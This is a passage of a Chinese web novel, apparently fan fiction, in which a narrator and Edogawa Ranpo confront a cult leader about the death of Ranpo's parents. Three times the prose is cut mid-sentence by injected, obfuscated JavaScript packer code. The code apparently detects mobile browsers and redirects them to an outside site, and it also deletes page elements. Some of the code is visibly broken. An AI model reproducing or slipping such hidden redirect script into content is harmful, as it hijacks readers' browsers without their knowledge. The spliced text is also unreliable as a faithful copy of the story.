“孩子,你有什么需要告解的罪?”他的声音低沉,让人不自觉想要跟随,然而,我却对此嗤之以鼻。 说实话,我一直都不太能理解告解这种行为的意义,在我看来,心灵是人世间最后的圣域,无论这片圣域是所谓天堂还是地狱,都应当只由当事人自己品味。 而渴望他人的理解,本身就是一切错误的开端。 我会这么想是因为,我这辈子也说了很多谎话,对我来说,如果有一天,我必须在当众坦白自己的罪行和去死之间选择的话,我大概会毫不犹豫地死掉。 此时,天照院仁面带完美的微笑,看着我,贴心地等待着我的坦白,在察觉到我什么也不打算说之后,他露出了理解的神色,向我的方向推出一只小巧的木盒。 我感觉到乱步君从我的身后探出脑袋,他大概也对情况很好奇,在观察这个盒子吧。 乍一眼看过去,这个木盒仿佛只是一个很普通的现代工艺品,然而,仔细端详,却能感觉到一股神秘的气息。 盒子外所镶嵌着的形状古朴金色的花纹,不像是任何一种现代工艺,更像是被人一笔一笔手工描画上去的,然而人类真的能画出如此规整,毫无误差的图案吗? “这是本教的特制护身符,不仅是一个简单的装饰品,更是各位与世界相连接的纽带,打开时请小心。”旁边的工作人员用一种流水线般的生硬语调,为我做着介绍。 我犹豫了一下,还是轻轻地打开了盒子,天鹅绒的黑色软垫上,躺着的是一个小巧精致的护身符。 护身符外表光滑,像是由某种古老的金属制成,形状复杂,中央镶嵌着一颗黑色的宝石,散发出一种深沉的光泽。 此时,在会场略显刺目的白炽灯下,这颗宝石不知为何散发出一种怪异的氛围,仿佛不只是一颗石头,而是更为生动的某物。 我注意到,身后的乱步正低头凝视着这颗宝石,并且,注视的时间越久,身体就越前倾,甚至不自觉地朝宝石的方向伸出了手。 在他的指尖触碰到宝石的前一秒,我果断地“啪嗒”一声关上了盒子。 仿佛被这个声音唤醒了一般,他眼中原本混沌的失神一下子消散无踪。 “没事吧?”我随手把盒子塞进外套的口袋里,捧着他的脸低声询问,“有没有哪里痛?” 他显然也震惊于自己刚刚的状态,摇了摇头,把我的手甩开,看起来有点心不在焉,“已经没事了。” 我不放心地看了他好几眼,才勉强把注意力重新放回眼前的天照院仁身上。 说实话,我有点生气了。 对于天照院仁和圣天锡杖,我确实有很多想知道的事情,本来想用更加稳妥的方式获取情报的,但此时此刻,我很不痛快,所以想让他也不痛快一下。 “真是慷慨的馈赠啊,神父。”我没有和其他人一样,称呼他为教主大人,而是选择了一个更加朴素的称呼。 “听说同样的吊坠,那些上层的大人物们要缴纳3000万日元的会费才能获得,‘末日的船票’,是这么说的吧?他们可是完全把这东西当成救命稻草看待,无论出入什么场合都从不离身,这样的东西,您居然直接在这里直接免费派发了,真是让我们这些贱民受宠若惊啊。” 这话在会场里引起了一阵小小的骚动,人们不安地窃窃私语,有些怀疑的目光落在天照院身上,他却依然处变不惊。 大概是知道在这里否定也没有用吧,他几乎变相默认了我说的是事实。 “现在已经有能力的人,愿意为世界的改变尽一份力,我当然是心怀感激的,”他说,“但是对于那些依然处于迷茫中,一无所有的人,一视同仁,尽力去帮助他们,正是本教的宗旨之一。” “原来如此,但我依然有一些困惑,您能为我解答吗?”我略微点下头,继续步步紧逼。 “当然,我的孩子。”他似乎不介意我的无礼。 “您刚才说,要发掘自己内心的力量,但护身符这种东西,说到底不还是外物吗?而且,你说的那些问题,要怎么靠这种死物去改变呢?” 天照院脸上的神色不变,锐利的眼睛仿佛能看透人心,缓缓开口,“你有着战士的眼睛,孩子。” 我垂在身侧的手微微颤动一下,对我来说,这句话简直如同挑衅,在过去漫长的时间里,我从来没有作为一个战士战斗过,而只是略带羡慕地,注视着其他角色精彩纷呈的人生。 “怎么说?”我尽量心平气和地追问。 “你并不畏惧以自身的力量挑战规则,甚至乐在其中,”教主说,“你对自身充满了自信,这是可贵的品质,因为可贵,所以难得,我恐怕世界上大多数人都没有你的这种勇气,依靠外物来洗净内心的障碍是应当被宽容的,这也是‘启发’的含义。” 他的话引起了一番骚动,会场里的其他参与者,不,现在称呼他们为信徒更加合适,他们都朝我的方向投来不信任和隐隐仇视的目光,仿佛我就是刚才那番演讲中,那种“不公平”的具显化。 然而,就算是在他们之中,大概也不会有人比我更加明白,这句话的讽刺之处了吧。 终究只是千篇一律的漂亮话而已,有一瞬间真心地误解了,我们真的是在对话的我,才是犯傻的那个。 我难以形容此时作呕的心情。 “我没有其他疑问了。”匆匆地用这句话作为结束语,我后退一步,让开了身体。 于是乱步君终于得到了那份解谜时间。 “我按照约定来见你了。”他单刀直入地说,锐利的绿色眼睛,注视着天照院仁的脸,“你说,‘那不是意外事故’,是什么意思?” 天照院没有回答,他的目光长时间地停留在乱步的脸上,仿佛是在那五官之间,寻找什么熟悉的痕迹。 在一阵不短的沉默之后,他终于开口,却并没有回答他的疑问,而是说出了毫不相干的话语,“你长大了呢,江户川君。” “我和大叔没有见过面吧?”乱步君一脸莫名其妙,以他的记忆力,见过面却没有丝毫印象,几乎是不可能的事情。 “你不记得了吧,也难怪,那已经是你刚出生时候的事情了。”不知从何时开始,教主脸上那种能面般的笑脸已经悄然褪去,如石头般冷硬的面庞,让人很难想象,他是在追忆往事。 “那个时候,繁男先生为了戏弄我,故意让我来抱着你,我很害怕。”他像是深深地陷入了回忆中,“那种柔软又脆弱的东西,居然已经是生命了,真是不可思议。” 说到最后,那声音已经近乎喃喃自语,他的目光凝结在空中虚无的一点,眼前仿佛出现了黑发男人的身影。 “仁,我不做警察了。”黑发男人微笑着注视着好友抱着婴儿,近乎手足无措的样子,踌躇了片刻,突然开口。 天照院一下子愣住,僵硬地将小小的襁褓安置在臂弯里,怔怔地看着他的脸,“为什么?” “为什么吗?就算你这么问……换工作不是很正常的事情吗?”黑发男人略感为难地笑着。 “但是,繁男先生是不一样的吧?”天照院焦急地追问,“我从来没见过比繁男先生更加厉害的警察,您不在了的话,我、案子要怎么办呢?” “案子是查不完的,”黑发男人一派轻松的神色,“再说,我不是已经教出这么优秀的弟子了吗?” 他用信任的目光,注视着眼前的天照院。 “我还差得远,”天照院下意识地躲开了那道目光,低下头,声音里有一种无法掩盖的苦涩,“再说,我欠缺的,并不是靠努力就能填补上的东西。” “是吗?我倒是觉得,是你们把我想得太夸张了,”男人不赞同地摇了摇头,“而且,办案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483310|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方法,我确实都好好教给你了吧?” “是。”天照院失落地低下头,垂下的目光,恰好落在怀中的乱步身上,那一瞬间,仿佛福至心灵,某个猜测脱口而出,“难道……是因为这孩子吗?” 听到他的话后,微微怔愣了一下的黑发男人,露出了苦笑,“说什么自己不行不行的,你这不是很能干吗?仁。” “本来还想在你面前最后维持一下前辈的形象的,既然被看穿了,那我就老实地告诉你吧,”黑发男人的目光透过书房的窗户,落在庭院中,整理花圃的妻子身上,“说实话,我开始害怕了。” “害怕?”天照院不解地重复了一遍这个词。 “是啊,现在的生活,对我来说简直像做梦一样幸福,志趣相投的妻子,可爱的孩子,如果可以的话,我真希望这样的生活能够永远持续下去。”男人的脸上浮现出了梦幻般的神色,“但是继续做警察的话,大概总有一天,这样的生活会被毁掉吧。” 天照院默不作声地听着男人的自白,对于一个二十出头的年轻人来说,这样的生活离他还太遥远了,为这种理由就放弃眼前的大好前途,让他无法理解。 “你还记得中村吗?” 天照院回忆了一下这个常见的姓氏,“啊,是之前调查组的那位前辈吧?” 他所说的调查组,是不久前针对东京地铁毒气事件而组建的专案调查组,那件事闹得实在太大,警视厅为了尽快侦破案件,甚至从地方动员人才,天照院和江户川就是作为神奈川县的支援人员加入的。 “那个人,前段事件去世了,”黑发男人平静地说,“住宅在深夜被人泼汽油点燃,一家五口无人生还,虽然现在调查还没有出结果,但我和菊讨论了之后,都觉得,恐怕又是那个组织的报复吧。” 他所说的那个组织,正是指东京地铁毒气事件的幕后主谋,虽然那个宗教组织在各地的教会已经遭到查封,主要骨干也陆续被捕,但仍在民间有着数目庞大的信徒,想必其中仍有不少狂热分子在暗中活动,并针对警方展开报复。 然而,这样的事情发生在陌生人身上之时,只是传闻,发生在认识的人身上时,就成了鲜血淋漓的惨案,天照院一时间哑口无言,只能默默聆听着男人的话语。 “我很害怕,同样的事情,如果发生了在菊和乱步身上,我该怎么办。”男人说到这里,声音甚至有些颤抖,在短暂的沉默过后,他恢复了平时轻松的语气,“抱歉啊,聊了这么沉重的话题。” 天照院默默地摇了摇头,配合着男人,将话题引到了更加轻松的方向,“繁男先生之后打算做什么呢?” “总之先回乡下老家去,享受一段无忧无虑的退休时间吧。”聊起这个,男人刚才的低落瞬间一扫而空,“安顿下来之后,可能会在当地找个稳定的工作,养一只宠物,然后过着那种每天每天都重复着的简单生活吧。” “听起来真惬意啊。”天照院不无羡慕地说,他刚刚才结束了一个大案,这段时间的生活,只能用昏天黑地来形容。 “是吧?有空的话,说不定还能出版自传呢。”男人得意地笑了起来,“《江户川繁男探案集》,这个名字怎么样?” “我是不太懂书名的好坏,但是出书的话,不就没有跑到乡下隐居的意义了吗?” “哈哈哈哈,也是呢。” 回忆在一片笑声中结束,然而,当记忆中的那张脸,和眼前黑发少年那稚嫩的面庞重合的那一刻,连笑声也突然变得刺耳起来。 于是天照院仁又变得能够微笑了。 伴随着如同能面般的笑脸回归的,是他的声音,“江户川君,你觉得像你的双亲那样疼爱孩子的父母,丢下幼子去自杀的可能性有多大?” 乱步君一脸不理解的表情,“那根本不可能。” “是啊,既不可能是自杀,也不是事故,”他说,“那剩下的,就只有一种可能了。” 他依旧微笑着,那笑容,就如同魔鬼一般。 “如果你是那两人的孩子的话,一定就能明白吧。” 11. 第 11 章 纯白的会场内,在人群尽头的两人无声地对峙着,弥散在空气中的紧张氛围,让低声的交谈都渐渐消失,周围的信徒不自在地注视着二人。 “犯人是?”乱步君紧紧地盯着眼前被大家称呼为“教主”的男人,他能看出的东西,大概比我要多得多,所以此刻,脸上早就没有了平时的那种轻松。 “哦呀,江户川君看不出来吗?”另一个明白这一点的人,虚假地笑着,肆意地玩弄着乱步君的真心。 “我……没能见到。” 乱步君的声音,是想象之外的低沉与不甘,大概只有知道事情经过的人,才能明白这句话的重量。 而我,恰好知道一些。 那场让乱步君失去双亲的“意外”,在事件发生之后,既没有调查,也没立案,在被草草定性为事故之后,连现场也以超乎常理的速度被清理干净。 而作为唯一的遗属,乱步君甚至没能见上双亲最后一面。 在被通知后,前往医院的他,领到的,是早上还带着微笑送他出门的,父母的骨灰。 即使提出对程序合法性的质疑,这样正当的诉求,也因为是年幼的孩子,而得不到重视。 “我们大概也理解你的心情,但是你知道,警察一天要办理多少案件吗?像这样性质明确的事件,已经没有任何调查的必要了,明白了的话就走吧,不要再继续给我们添麻烦了!” 仅仅以文字形式看到那样不负责任的话语的我,难以想象亲耳听到这种话的,乱步君的心情。 我看见眼前的天照院仁低垂下视线,用古井无波的双眼注视着眼前乱步君羸弱的身影,他的话,或许比我更能理解吧,所以在此刻才会说出这样的话,“知道了,然后呢?” 或许是已经明白了他接下来要说什么,乱步君紧紧咬住了牙,一言不发。 “如果是江户川君的话,有心调查,想查出犯人也只是时间问题吧?”他毫不留情地吐出了对于乱步君来说,过于直白,也过于残酷的话语。 “但是,已经被定性为事故,过去了那么久,连现场都已经被完全清扫了案件,你还能找到直接证据吗?就算找到了,又有谁愿意为了江户川君受理上诉呢?” 他轻轻地,残忍地笑了,“金钱,权力,人脉,在这个国家能够换取到公平的东西,江户川君一样都没有。” 他的视线落在乱步君身上那件因为重复洗涤,已经微微褪色的警校制服上,“光是照顾好自己,就已经筋疲力尽了吧?” “即使如此,你也想知道犯人的名字吗?” 乱步君张了张嘴,想要说些什么,却被他粗暴地打断了,或许,从一开始,他就不需要乱步君的回答。 “江户川君,我认为,对于这样的你来说,从父母那里继承的才智,并不是祝福,而是非常残酷的诅咒。” “你就带着这份诅咒,离开横滨,回到乡下生活吧。”他不容置喙地说,“一开始或许会有些困难,但总能找到工作的,比起不近人情的大城市,那里总有几个熟悉你的性格,愿意照顾你的人吧?” 他不再看乱步君,移开的视线落在我身上,“不要和魔鬼做交易,献出灵魂,换取微弱的可能性,你的父母所希望的,是你能过上简单而幸福的生活。” 就像我怨恨他用这些话刺痛了乱步君的心一样,他大概也对我这种突然出现,将乱步君卷入麻烦中的人,感到不满吧。 “然后总有一天,神的怒火会降临在那些伤害了你和你的双亲的家伙身上。” 他站在那里,如同一个心甘情愿的殉道者,“我以圣天锡教教主的身份,向你保证。” 这大概就是他最后的自白,或者说,是近乎遗书一样的东西。 他不打算说更多了,视线越过乱步君,看向队伍中的下一个信徒,点了点头。 “下一位请往前。”一旁的工作人员读懂了他的意思,适时出声。 后面的信徒立刻上前一步,将乱步君挤了一个踉跄,迫不及待地开始了自己的告解。 我牵起失魂落魄的乱步君的手,带他离开了队伍。 像被整个世界所遗忘,又或者说是自行搭建起结界,拒绝了世界的那个地方,在我们离开后,空缺出的位置立刻被人群填补上。 空气中残留着一股陈旧的香氛气味,信徒们沉浸在圣天锡杖所营造出的氛围中,眼睛紧紧地黏在教主的身上,在一片窃窃的呓语中,回荡着小小的梦想。 我们走出会场,迎面的冷风将沉闷的空气一扫而空,街道两旁的灯光被薄薄的夜雾笼罩,周围的环境似乎有意疏远,变得冷漠而陌生。 保姆车在楼下等候已久,司机看见我们,训练有素地启动了车子,我比了个手势,示意它跟在一个不远不近的位置。 “那里面有点闷呢,在外面稍微走一下再回去吧?”我转身问乱步君。 他低低地应了一声,看起来没什么兴致,但也没有拒绝。 我仍然牵着他的手,他没有看路,仍由我牵着,我们沉默地走了一段路,在经过熊野神社时,他突然抬头看了看神社朱红色的鸟居,问我,“我真的被诅咒了吗?” 我看着他迷茫的脸,他像一个抓住了救命稻草的人,不等我回答,快速地吐出一连串的语句,这种时候,又有点像平时的乱步君了。 “你之前说,这个世界上存在着超自然对吧?是因为我被诅咒了,这个世界才总是那么困难吗?” 对于这个问题,我哑口无言。 如果超自然真的是那么方便的东西,那就好了。 无论是异能力,魔法,神话生物还是邪神,只要能让乱步君开心起来,我都会去使用,但人心是幽微之物,没有任何东西可以计量,所以就算我一厢情愿,最后也是痴心妄想。 即使是这么想着,我还是伸出了手,将左手放在乱步君面前,大概是这辈子第一次,我满怀虔诚地念出了那晦涩而邪恶的咒文。 我在魔法上没有天赋,无数次升级时的点数,也从来没有加在这方面过,因此,成功的几率也就很渺茫。 但是,世界上如果真的有神明的话,如果祂现在正在听我的祈祷的话,神啊,请让我成功吧。 我注视着空气中,那只有我能够看见的半透明屏幕,默默祈祷。 【神秘学 1D100 26/25 检定失败】 界面上的文字匆匆滚过,看着最终的判定结果,我自嘲一笑,果然,神明并不站在我这边。 但是,即使是这样也无所谓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483311|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我点下某个按钮。 【燃烧幸运 75→70 二次检定 神秘学 1D100 21/25 检定成功】 随着“检定成功”字样的出现,乱步君那原本停滞在原地脚步突然不由自主地动了起来,他的表情可以成为瞠目结舌,难以理解地看着自己的身体以一种无法想象的矫健身手向我冲来,一跃而起,狠狠给了我的鼻子一拳。 【HP 16→13】 比想象中痛,伴随着这个想法一起出现的,是我“砰”的一下应声倒地,后脑勺重重地磕在地上,硬梆梆的水泥路硌得脊背生疼,我在地上躺了好一会儿,才缓过来。 “刚才的是什么?”乱步君朝我的方向走了两步,又有些畏惧地停下,他低头看着自己的拳头,露出完全无法理解的表情,一脸惊慌失措。 “魔法,傀儡操作术。”我“嘶嘶”地吸着气,一边慢慢从地上爬起来,一边为他解释,“虽然名字听起来很厉害,用法却非常单一,被操作者会给最近的目标强力一击,是我会的唯一一个魔法。” 毕竟,在游戏里,这只是一个非常鸡肋的攻击技能。 随着说话牵动脸上的肌肉,我突然感觉鼻腔一热,摸了一下,果然有鼻血流出来,它们惨烈地滴下来,触目惊心地浇在衣襟上。 从衣兜里找出一张纸巾草草堵上,我猜我现在的样子,看起来多少有些滑稽。 “你到底为什么总是……”大概是脑子还是很混乱,乱步君的话说了一半就停下来,我感觉他比我想象中生气,所以有些不知所措。 夜晚的街道昏暗而寂寥,几乎看不到人影,周围的商店都已经关门,空旷的神道仿佛比平时更加广阔,带着某种妖氛的寒气从街角渗入,吹动着衣角。 “因为我想告诉乱步君,所谓魔法,也不过是这种程度的东西。”即便乱步君的反应和我想象中有些许偏差,我仍然尽力说出了早就预想好的台词。 “魔法只不过是自我膨胀的幻想罢了,人们终其一生寻找那些无法解释的东西,而一旦抓住了它,它也不过是一种遵循着特定规则的工具。” 我注视着乱步,我经常被人说不机灵,但此时此刻,我希望,这双木讷的眼睛能在这寒冷的夜晚传达出某种温度。 “如果你很感兴趣的话,我可以教你,但是我并不觉得你需要它。” 我说,“乱步君不需要这种东西,也能看得很清楚。” 说完这句话,我忐忑不安地打开游戏系统里的文字记录器,小心翼翼地注视着那一行行逐渐出现的旁白。 【乱步突然回想起一些陈旧的记忆,乡下的老宅,冬天围坐在被炉边,“咕嘟咕嘟”冒泡的寿喜锅,和父亲一起剥好的橘子排在桌子上,结了雾气的窗户上,不知道被谁歪歪扭扭地用手指写下了“笨蛋”这个词。】 看到这行字,就像看到游戏事件的flag一样,一直高悬的心终于放下,我朝乱步的方向伸出手,歪头问他,“回去吗?” 他沉默了片刻,将手放在了我朝上的掌心中,薄薄的皮肤被夜风吹得冰冷。 我牵着他,走向保姆车的方向,我们没有再说话,街道依旧空旷,没有人影,只有脚步声回荡在寂静的夜晚中。 12. 第 12 章 回到公寓后,我接到了镰泷的汇报。 【已成功与圣天锡杖教主会面,详细的书面报告会在一小时内发送,此外,预计在明日21时参加教派内部的黑弥撒。】 镰泷这家伙行动力真强啊,一边在心里这么感叹着,下一秒,我就注意到了信息中的异常。 【和教主的会面是在几点。】怀揣着强烈的不安,我在手机上打下这行字,发送,近乎焦灼地盯着屏幕,等待着回复。 所幸,对面几乎是秒回。 【今晚8点,持续了一个小时左右。】 在看清那条信息的一瞬间,全身的血液像是都冻结了。 圣天锡杖的宣讲会是在今晚七点开始的,而我和乱步君离开会场,则是在七点五十分左右。 在此期间,天照院仁一直出现在我的视线中,一刻也不曾离开。 我不认为镰泷会对我撒谎,那么,这冲突的时间只能说明一件事。 以圣天锡杖教主身份在活动的,实际上有两人。 在得出这个结论后,我的大脑一片空白。 无论在过去的哪一条时间线中,这都是完全没有发生过的事情。 即使拼命思考着可能的人选,将出场人物在脑子里一个接一个地筛选,也完全想不出会是谁。 在超乎想象的恐惧感的驱使下,我做下了决定。 【明天的黑弥撒,我亲自去。】 几乎是在按下发送键之时,镰泷的电话就立刻打了过来。 “绝对不行!社长,这实在是太危险了!”电话接通后,似乎连例行的问候都失去了余裕,镰泷惊慌失措的声音从听筒的那边传来。 “那是已经决定了的事情。”我没有多说什么,只是用在处理公司事务时惯用的冰冷语调,不容置喙地通知他。 比任何人都更加理解这句话的意思,仿佛被我的声音当头扇了一巴掌似的,镰泷终于恢复了冷静。 “抱歉,我失态了。”在道歉后,知道于事无补的镰泷,开始在我允许的范围内滔滔不绝地安排,“总之,请让我负责安保措施,至少应该从GSS那里抽调异能者十人左右,武装部队三支,在会场外围待机。会不会太薄弱?可恶,早知如此就应该早做准备……” “镰泷,”我打断他已近乎癫狂的自言自语,“为什么这么紧张?那个教主,是值得你提防到这种程度的人物吗?” “……”听筒那边在短暂的沉默过后,传来了镰泷迟疑但肯定的回答,“是的,那种感觉,不像是在和人类对话。” 他的语速很慢,似乎在一边思考,一边组织语言,“我的一切行动,好像都在他的预料之内,我会说什么话,隐藏起来的目的是什么,他都知道的一清二楚。” 突然,就像终于找到了恰当的比喻一样,他的声音豁然开朗,“简直就像在和经营公司时候的社长对话一样。” 一种不妙的预感,在我的心中油然而生。 “把关于他的所有事情都告诉我。”我斩钉截铁地说。 # “呀,你居然在这种地方啊,镰泷。” 奢华而隐隐透露出典雅品味的接待室内,有侍者推开厚重的红木大门,镰泷循着开门的声音望去,出现在门后的,是穿洁白圣袍的男子。 面容大半被掩映在垂坠的布料下,隐约能看见深色的皮肤,和垂到肩头的银白色中长发,身材十分高大,声音则比镰泷想象中要年轻许多。 但是那种似曾相识的,自来熟的打招呼方式,让镰泷心中浮现出疑问。 “虽然我是想这么说,但这台词也已经是第49次了吧?就算是我,看到你的脸也差不多快感到厌烦了。” “?” 面对眼前这个大声叹气,毫无礼貌地喋喋不休抱怨着听不懂内容的家伙,镰泷不禁皱起了眉。 “您好,”他从沙发上起身,熟练地以商务礼节微微鞠躬,将心中的疑问说出口,“我们之前见过吗?” “嗯?”裸露在圣袍外的嘴唇,勾起不置可否的模糊笑容,“现在在横滨风头无两的千轨科技的对外代理人,只要有心进一步发展的组织,应该没有不知道的吧?” 镰泷确信那不是错觉,在说出“千轨科技”这个词的时候,那个被信徒们尊称为“教主”的家伙似乎很想笑,但是拼命忍住了。 虽然不知道理由,但为之自豪社长,所创立的那个为之自豪的会社这样被人嘲笑,镰泷的态度几乎一瞬间就冷淡了起来。 “这也是理所当然的,毕竟想和我们建立合作关系的组织也有不少。”他直视着教主,强硬地说,“虽然社长的决断有自己的深意,但就我个人的意见而言,起码应该和那些懂得尊重的组织建立联系。” 通常来说,在这样单方面的施压之后,谈话对象就会坐立不安地请求原谅吧,现在的千轨科技,就是有着这样的影响力。 然而,是因为是宗教组织的首领,所以特别会装模做样的原因吗?那个教主的态度,没有丝毫变化。 维持着唇角的笑意,他用近乎轻浮的态度,仿佛没有听懂镰泷的潜台词一般,满不在乎地附和,“是这样呢。” 停顿了一下,他才故作惊讶地补上一句,“啊,难道是我哪里冒犯到你了吗?抱歉啦,我不太习惯察言观色,总之,先坐下来再谈吧。” 丝毫不在意镰泷的反应,他率先在沙发的另一侧坐下,抬起头,笑意盈盈地说,“毕竟,要是现在就结束对话的话,镰泷先生的那位‘社长’应该会很不愉快吧?” 从镰泷本人的角度来说,这句话简直和胁迫没有差别。 他咬着牙,看着以无比放松的姿势坐在沙发上的白袍男子,自从作为公司的代理人开始对外活动后,还从来没有人敢这样光明正大地下他的面子。 然而,镰泷不得不承认,这种威胁是有效的。 即使颜面扫地,甚至赌上性命,也要完成社长的任务,他正是怀抱着这种心情来到这里。 在原地稍显僵硬地站立了一会儿,在那位教主大人略显戏谑的视线中,他重重地坐下。 “请多指教。”他听见自己咬牙切齿的声音。 # “那之后就是普通的商务洽谈,按照您的指示,为圣天锡杖捐助了三千万日元的善款,也顺利取得了那个名为‘方舟之证’的护身符,稍后会派人送到社长那里。” “除此之外的重要内容的话……只有那个预言了。” “嗯?预言。” “是的,据说是为捐赠了足额数目的信徒所提供的特殊服务,内容荒唐无稽,就我个人判断,实在缺乏可信度。” “复述给我听。” “……是。”镰泷的声音略显诧异,但依旧乖乖照做,“‘大约下下周,高桥商事的那位社长会猝死,与之相关的海外融资的事宜,需要谨慎处理’,他是这么说的。” “嗯,我知道了,这件事就按他说的去推进吧,另外,那个护身符现在是放在你的身上吗?” “是的。” “离那东西远点,送货的时候也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483312|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要派遣特别重要的职员。”我下达了听起来稍显怪异的指令,然而,镰泷却敏锐地察觉到了其中的真意。 “……恕我直言,那难道是危险品吗?”他的声音瞬间变得严肃起来。 “算是吧。”我含糊其辞地回答,正是因为知道镰泷会大惊小怪,我才会在一定程度上进行隐瞒。 从外套兜里拿出今晚在宣讲会上拿到的那个护身符,打开盒子,那散发出令人目眩神迷光芒的黑色宝石安静地躺在天鹅绒上。 谁能想到,像这样美丽的宝石,正是圣天锡杖用来进行恐怖袭击的重要道具。 在教派内被称为“方舟之证”,像这样作为象征物的护身符,圣天锡杖到底免费分发给了多少人,又有多少权贵花了大价钱求购,并贴身佩戴呢? 简直就像主动躺在了断头台下,还彬彬有礼地向刽子手嘱咐:“我要用镶金的刀片。” 稍微思考一下这个问题,或许会让大多数人不寒而栗吧,然而,对我来说,这些都只是从一开始就已经知道了的事情,只要做好风险管理,就像拿着攻略打游戏一样,不足为惧。 我需要恐惧的对象另有其人。 在听完镰泷的叙述之后,我几乎已经完全确定,他所遇到的教主,是我所知道的“那个人”。 然而,他不应该出现在这里。 除非…… 混乱的思绪被“刷”的一下移开的玻璃门打断,我望过去,看见刚刚洗完澡,穿着柔软居家服的乱步君站在那里。 我下意识地露出一个笑容,毫不犹豫挂断了因为我的隐瞒,絮絮叨叨地在听筒那边苦口婆心规劝的镰泷的通话。 “怎么了,乱步君?”我把护身符和手机都收起来,关切地问。 他盯着我的脸看了两秒,不知道是通过什么样的细节理解了什么,飞快地做出了判断,“明天,我也要去。” “绝对不行!”我的反应比自己想象的还要过激,毫不夸张地说,在听到那句话的瞬间,明明是凉爽的春夜,我的背后却一下子被冷汗浸透了。 只有那个人,绝对不能让他和乱步君见面。 因为,那个人是货真价实的。 该怎么形容呢?劣等感?仅仅是想象和他站在一起,就已经觉得自己无比悲惨。 我绞尽脑汁想着拒绝的理由,出乎意料的是,这次的乱步君却没有表现出早上时那种毫不退让的态度,在看了我一会儿,他若无其事地说了一句“这样啊”,就这么用毛巾擦着湿漉漉的头发回房间了。 我如梦初醒,三两步追上去,“乱步君,头发,我帮你吹干吧?” “嗯……”他没有拒绝。 我小心地抓起一缕黑发,过去的兼职经历,让我对打理头发这件事多少有点信心,用不会伤到头皮的暖风模式谨慎地吹着发根,在吹风机巨大的轰鸣声中,我隐约听见乱步君在说话。 “……照顾你……心情……让步……感激我……” 我茫然地关掉吹风机,“乱步君,刚才说了什么吗?我没有听清,能再说一次吗?” “别想让我说第二遍了,你这呆子。” 不知为何,他突然变得非常生气,虽然像这样切实地面对面相处的时间不长,但是我好像一直在惹他生气,对于这个事实,我自己也感到很抱歉。 但毕竟乱步君就是那么敏锐的人,我骗不过他,这也是没有办法的事情。 大概是察觉到了我消极的心情,他突然更生气了,鼓起的脸颊像仓鼠一样。 萌萌。 13. 第 13 章 “乱步君,一个人没问题吗?” 站在玄关门口,我看着整装待发的乱步君,忍不住焦虑地在房间里走过来,走过去。 “你啰嗦太多了啦。”乱步君一脸厌烦地说 今天接近中午的时候,我们普通地吃过早饭,一起吃饭这种事,不知道从什么时候开始好像变成了日常。 正当我为这种自然而然的变化感到窃喜的时候,乱步君突然放下勺子,单方面通知我,“我有点想要调查的事情。” 他若无其事地说,“所以要一个人出门,你别跟过来。” 惊慌失措的我几乎是从椅子上跳了起来,“一个人出门太危险了,那么我也一起……” 话没说完就被打断了。 “别总是那么黏人,”乱步君睁开眼睛,碧绿的眼睛有种冷酷的感觉,即使这样也很迷人,“你这家伙自己不也打算避开我一个人做事吗?” 啊,果然还在介意昨天晚上的事情。 如果现在死缠烂打的话,乱步君可能会说出“那么今晚我也要一起去”,这是我绝对想要避免的情况。 “怎么会这样……”我摇摇欲坠地后退了一步,失魂落魄地坐回了椅子上,感觉世界都灰暗了。 乱步君单手托着腮,一脸稀奇地看着我,“就这么不想我和他见面吗?” 啊,果然,虽然我什么也没有告诉他,还老是遮遮掩掩,但是他已经都知道了,真不愧是乱步君,不如说作为乱步君这种程度是基本的。 “因为我没有那种自信……”我虚弱地解释道,不由自主地低下头,避开了他的视线。 “你要这么想,我也没办法,但对我来说,那根本就是陌生人嘛。”他撂下这句话,径自回了房间。 留下呆愣在原地的我,因为这句几乎等同于安慰的话,吃惊的睁大了眼睛,几乎感动得泪眼汪汪,“乱步君……” 紧闭的房门突然打开,打断了我自说自话的情绪,几个之前装上的微型摄像头被随意地扔了出来,果然瞒不过乱步君啊。 这样感叹着,稍等了一会儿,房门再次打开,从中走出的乱步君,不再穿那件洗旧了的警校制服,而是换上了我昨晚安排人买的新衣服。 昨晚在参加宣讲会的时候,我就被天照院那充满打量意味的眼神弄得很不爽,也懊悔自己之前没有注意到这种细节,果然是和乱步君面对面的冲击实在太大了,有点忘乎所以了。 所以昨晚回公寓,处理完一些事情后,我就立刻把乱步君的身材数据发给了生活助理,让她们帮忙,尽快准备一些合适的衣物,她们也很尽职尽责,今天早上我去查看衣帽间的时候,里面已经被填满了。 而现在,它们之中的一部分,正被乱步君穿在身上。 